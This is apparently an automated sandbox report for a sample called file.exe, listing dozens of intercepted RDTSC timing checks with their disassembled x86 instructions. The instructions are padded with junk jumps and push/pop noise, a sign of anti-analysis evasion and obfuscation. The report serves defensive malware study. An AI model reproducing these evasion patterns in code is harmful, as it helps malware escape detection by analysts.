Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE0046 second address: 4EE004B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE004B second address: 4EE0051 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE0051 second address: 4EE0055 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE0055 second address: 4EE006C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FE620F50F8Ch 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE006C second address: 4EE0082 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE620D482DBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE0082 second address: 4EE0088 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE0088 second address: 4EE00D0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE620D482DAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e mov ecx, edi 0x00000010 pushfd 0x00000011 jmp 00007FE620D482E9h 0x00000016 sbb esi, 6072B866h 0x0000001c jmp 00007FE620D482E1h 0x00000021 popfd 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE00D0 second address: 4EE020B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE620F50F91h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push FFFFFFFEh 0x0000000b jmp 00007FE620F50F8Eh 0x00000010 push 3B6F5AADh 0x00000015 pushad 0x00000016 pushfd 0x00000017 jmp 00007FE620F50F97h 0x0000001c sbb cx, 88FEh 0x00000021 jmp 00007FE620F50F99h 0x00000026 popfd 0x00000027 push esi 0x00000028 pushfd 0x00000029 jmp 00007FE620F50F97h 0x0000002e xor ecx, 0BBA1B0Eh 0x00000034 jmp 00007FE620F50F99h 0x00000039 popfd 0x0000003a pop eax 0x0000003b popad 0x0000003c add dword ptr [esp], 3B58439Bh 0x00000043 jmp 00007FE620F50F97h 0x00000048 push 791BB229h 0x0000004d jmp 00007FE620F50F8Fh 0x00000052 xor dword ptr [esp], 0FD99959h 0x00000059 pushad 0x0000005a mov edi, eax 0x0000005c pushfd 0x0000005d jmp 00007FE620F50F90h 0x00000062 sbb eax, 682A7718h 0x00000068 jmp 00007FE620F50F8Bh 0x0000006d popfd 0x0000006e popad 0x0000006f mov eax, dword ptr fs:[00000000h] 0x00000075 jmp 00007FE620F50F96h 0x0000007a nop 0x0000007b pushad 0x0000007c mov esi, 3DD6908Dh 0x00000081 mov esi, 5CA8A889h 0x00000086 popad 0x00000087 push eax 0x00000088 push eax 0x00000089 push edx 0x0000008a jmp 00007FE620F50F92h 0x0000008f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE020B second address: 4EE0211 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE0211 second address: 4EE0215 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE0215 second address: 4EE0219 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE0219 second address: 4EE0244 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 jmp 00007FE620F50F99h 0x0000000e sub esp, 18h 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE0244 second address: 4EE0248 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE0248 second address: 4EE024E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE024E second address: 4EE026B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE620D482E2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE026B second address: 4EE0271 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE0271 second address: 4EE02FB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE620D482E4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007FE620D482E1h 0x00000011 xor al, FFFFFFE6h 0x00000014 jmp 00007FE620D482E1h 0x00000019 popfd 0x0000001a mov ah, CFh 0x0000001c popad 0x0000001d xchg eax, ebx 0x0000001e jmp 00007FE620D482E3h 0x00000023 xchg eax, esi 0x00000024 jmp 00007FE620D482E6h 0x00000029 push eax 0x0000002a pushad 0x0000002b movzx esi, bx 0x0000002e popad 0x0000002f xchg eax, esi 0x00000030 push eax 0x00000031 push edx 0x00000032 jmp 00007FE620D482E2h 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE02FB second address: 4EE030D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE620F50F8Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE030D second address: 4EE037A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 jmp 00007FE620D482DCh 0x0000000e mov dword ptr [esp], edi 0x00000011 jmp 00007FE620D482E0h 0x00000016 mov eax, dword ptr [76C84538h] 0x0000001b jmp 00007FE620D482E0h 0x00000020 xor dword ptr [ebp-08h], eax 0x00000023 push eax 0x00000024 push edx 0x00000025 pushad 0x00000026 mov ax, dx 0x00000029 pushfd 0x0000002a jmp 00007FE620D482E9h 0x0000002f jmp 00007FE620D482DBh 0x00000034 popfd 0x00000035 popad 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE037A second address: 4EE03A4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE620F50F99h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xor eax, ebp 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e mov ax, 203Fh 0x00000012 mov bx, ax 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE03A4 second address: 4EE0400 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE620D482E1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a jmp 00007FE620D482DEh 0x0000000f push eax 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007FE620D482E1h 0x00000017 jmp 00007FE620D482DBh 0x0000001c popfd 0x0000001d mov ah, A3h 0x0000001f popad 0x00000020 nop 0x00000021 jmp 00007FE620D482DBh 0x00000026 lea eax, dword ptr [ebp-10h] 0x00000029 push eax 0x0000002a push edx 0x0000002b push eax 0x0000002c push edx 0x0000002d push eax 0x0000002e push edx 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE0400 second address: 4EE0404 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE0404 second address: 4EE041F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE620D482E7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE041F second address: 4EE0425 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE0425 second address: 4EE0429 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE0429 second address: 4EE042D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE04F6 second address: 4EE04FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE04FA second address: 4EE0511 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE620F50F93h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE0511 second address: 4EE0529 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE620D482E4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE0529 second address: 4EE053F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 add eax, ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FE620F50F8Ah 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED01E1 second address: 4ED01E7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED01E7 second address: 4ED01EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED01EB second address: 4ED01EF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED01EF second address: 4ED020D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FE620F50F93h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED020D second address: 4ED0213 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED0213 second address: 4ED0217 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED0217 second address: 4ED02B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], ebp 0x0000000b jmp 00007FE620D482E7h 0x00000010 mov ebp, esp 0x00000012 pushad 0x00000013 mov ebx, eax 0x00000015 jmp 00007FE620D482E0h 0x0000001a popad 0x0000001b sub esp, 2Ch 0x0000001e pushad 0x0000001f pushfd 0x00000020 jmp 00007FE620D482DEh 0x00000025 sbb ax, 58B8h 0x0000002a jmp 00007FE620D482DBh 0x0000002f popfd 0x00000030 pushfd 0x00000031 jmp 00007FE620D482E8h 0x00000036 sbb cl, 00000018h 0x00000039 jmp 00007FE620D482DBh 0x0000003e popfd 0x0000003f popad 0x00000040 xchg eax, ebx 0x00000041 push eax 0x00000042 push edx 0x00000043 jmp 00007FE620D482E5h 0x00000048 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED0417 second address: 4ED0432 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE620F50F97h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED0432 second address: 4ED0471 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE620D482E9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 lea ecx, dword ptr [ebp-14h] 0x0000000c jmp 00007FE620D482DEh 0x00000011 mov dword ptr [ebp-14h], edi 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007FE620D482DAh 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED0471 second address: 4ED0477 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED0494 second address: 4ED04D3 instructions: 0x00000000 rdtsc 0x00000002 mov ah, A5h 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov bl, 23h 0x00000008 popad 0x00000009 nop 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov cx, di 0x00000010 pushfd 0x00000011 jmp 00007FE620D482E5h 0x00000016 add esi, 547C12A6h 0x0000001c jmp 00007FE620D482E1h 0x00000021 popfd 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED04D3 second address: 4ED04D8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED04D8 second address: 4ED0531 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 pushad 0x0000000a mov di, 9848h 0x0000000e jmp 00007FE620D482E1h 0x00000013 popad 0x00000014 pushfd 0x00000015 jmp 00007FE620D482E0h 0x0000001a and ecx, 31E1DAA8h 0x00000020 jmp 00007FE620D482DBh 0x00000025 popfd 0x00000026 popad 0x00000027 nop 0x00000028 push eax 0x00000029 push edx 0x0000002a push eax 0x0000002b push edx 0x0000002c jmp 00007FE620D482E0h 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED0531 second address: 4ED0537 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED0537 second address: 4ED053D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED053D second address: 4ED0541 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED057E second address: 4ED05BC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ebx, 788443BAh 0x00000008 pushfd 0x00000009 jmp 00007FE620D482DBh 0x0000000e and ax, 9B5Eh 0x00000013 jmp 00007FE620D482E9h 0x00000018 popfd 0x00000019 popad 0x0000001a pop edx 0x0000001b pop eax 0x0000001c test eax, eax 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED05BC second address: 4ED05CF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE620F50F8Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED05CF second address: 4ED060D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE620D482E9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jg 00007FE692AA6176h 0x0000000f pushad 0x00000010 mov ebx, eax 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FE620D482E6h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED060D second address: 4ED0647 instructions: 0x00000000 rdtsc 0x00000002 mov ax, E671h 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 js 00007FE620F50FE7h 0x0000000f jmp 00007FE620F50F8Ch 0x00000014 cmp dword ptr [ebp-14h], edi 0x00000017 jmp 00007FE620F50F90h 0x0000001c jne 00007FE692CAEDE6h 0x00000022 push eax 0x00000023 push edx 0x00000024 push eax 0x00000025 push edx 0x00000026 pushad 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED0647 second address: 4ED0664 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE620D482E9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED0664 second address: 4ED0669 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED0669 second address: 4ED06AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE620D482DDh 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov ebx, dword ptr [ebp+08h] 0x0000000f jmp 00007FE620D482DEh 0x00000014 lea eax, dword ptr [ebp-2Ch] 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007FE620D482E7h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED06AA second address: 4ED06CE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE620F50F99h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED06CE second address: 4ED06D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED06D2 second address: 4ED06D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED06D6 second address: 4ED06DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED06DC second address: 4ED06E2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED06E2 second address: 4ED0718 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c mov ebx, ecx 0x0000000e pushfd 0x0000000f jmp 00007FE620D482E0h 0x00000014 jmp 00007FE620D482E5h 0x00000019 popfd 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED0718 second address: 4ED0746 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE620F50F91h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a jmp 00007FE620F50F8Eh 0x0000000f nop 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 mov dx, 1000h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED0746 second address: 4ED074B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED005C second address: 4ED0096 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE620F50F92h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007FE620F50F90h 0x0000000f mov ebp, esp 0x00000011 pushad 0x00000012 mov ebx, ecx 0x00000014 mov di, ax 0x00000017 popad 0x00000018 xchg eax, ecx 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c mov cx, dx 0x0000001f mov bl, 5Ah 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED0096 second address: 4ED00C3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov esi, ebx 0x00000005 jmp 00007FE620D482E1h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 call 00007FE620D482DAh 0x00000016 pop esi 0x00000017 mov bx, B586h 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED00C3 second address: 4ED00F3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FE620F50F8Ah 0x00000008 pop ecx 0x00000009 movsx edi, cx 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f xchg eax, ecx 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FE620F50F99h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED00F3 second address: 4ED00F9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED00F9 second address: 4ED0149 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [ebp-04h], 55534552h 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 call 00007FE620F50F90h 0x00000017 pop esi 0x00000018 pushfd 0x00000019 jmp 00007FE620F50F8Bh 0x0000001e sbb eax, 566D56CEh 0x00000024 jmp 00007FE620F50F99h 0x00000029 popfd 0x0000002a popad 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED0149 second address: 4ED014F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED0C67 second address: 4ED0C97 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop eax 0x00000005 mov di, AD3Eh 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jmp 00007FE620F50F92h 0x00000012 mov dword ptr [esp], ebp 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007FE620F50F8Ah 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED0C97 second address: 4ED0C9B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED0C9B second address: 4ED0CA1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED0CA1 second address: 4ED0CA7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED0CA7 second address: 4ED0CAB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED0D54 second address: 4ED0D74 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE620D482DBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 call 00007FE620D482D9h 0x0000000e pushad 0x0000000f movzx ecx, di 0x00000012 push eax 0x00000013 push edx 0x00000014 mov esi, ebx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED0D74 second address: 4ED0D78 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED0D78 second address: 4ED0DD2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jmp 00007FE620D482E6h 0x0000000d mov eax, dword ptr [esp+04h] 0x00000011 jmp 00007FE620D482DBh 0x00000016 mov eax, dword ptr [eax] 0x00000018 jmp 00007FE620D482E9h 0x0000001d mov dword ptr [esp+04h], eax 0x00000021 push eax 0x00000022 push edx 0x00000023 jmp 00007FE620D482DCh 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED0DD2 second address: 4ED0DD8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED0DD8 second address: 4ED0DDC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED0DDC second address: 4ED0E43 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE620F50F8Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop eax 0x0000000c jmp 00007FE620F50F8Eh 0x00000011 call 00007FE692CA5CFAh 0x00000016 push 76C22B70h 0x0000001b push dword ptr fs:[00000000h] 0x00000022 mov eax, dword ptr [esp+10h] 0x00000026 mov dword ptr [esp+10h], ebp 0x0000002a lea ebp, dword ptr [esp+10h] 0x0000002e sub esp, eax 0x00000030 push ebx 0x00000031 push esi 0x00000032 push edi 0x00000033 mov eax, dword ptr [76C84538h] 0x00000038 xor dword ptr [ebp-04h], eax 0x0000003b xor eax, ebp 0x0000003d push eax 0x0000003e mov dword ptr [ebp-18h], esp 0x00000041 push dword ptr [ebp-08h] 0x00000044 mov eax, dword ptr [ebp-04h] 0x00000047 mov dword ptr [ebp-04h], FFFFFFFEh 0x0000004e mov dword ptr [ebp-08h], eax 0x00000051 lea eax, dword ptr [ebp-10h] 0x00000054 mov dword ptr fs:[00000000h], eax 0x0000005a ret 0x0000005b jmp 00007FE620F50F90h 0x00000060 sub esi, esi 0x00000062 pushad 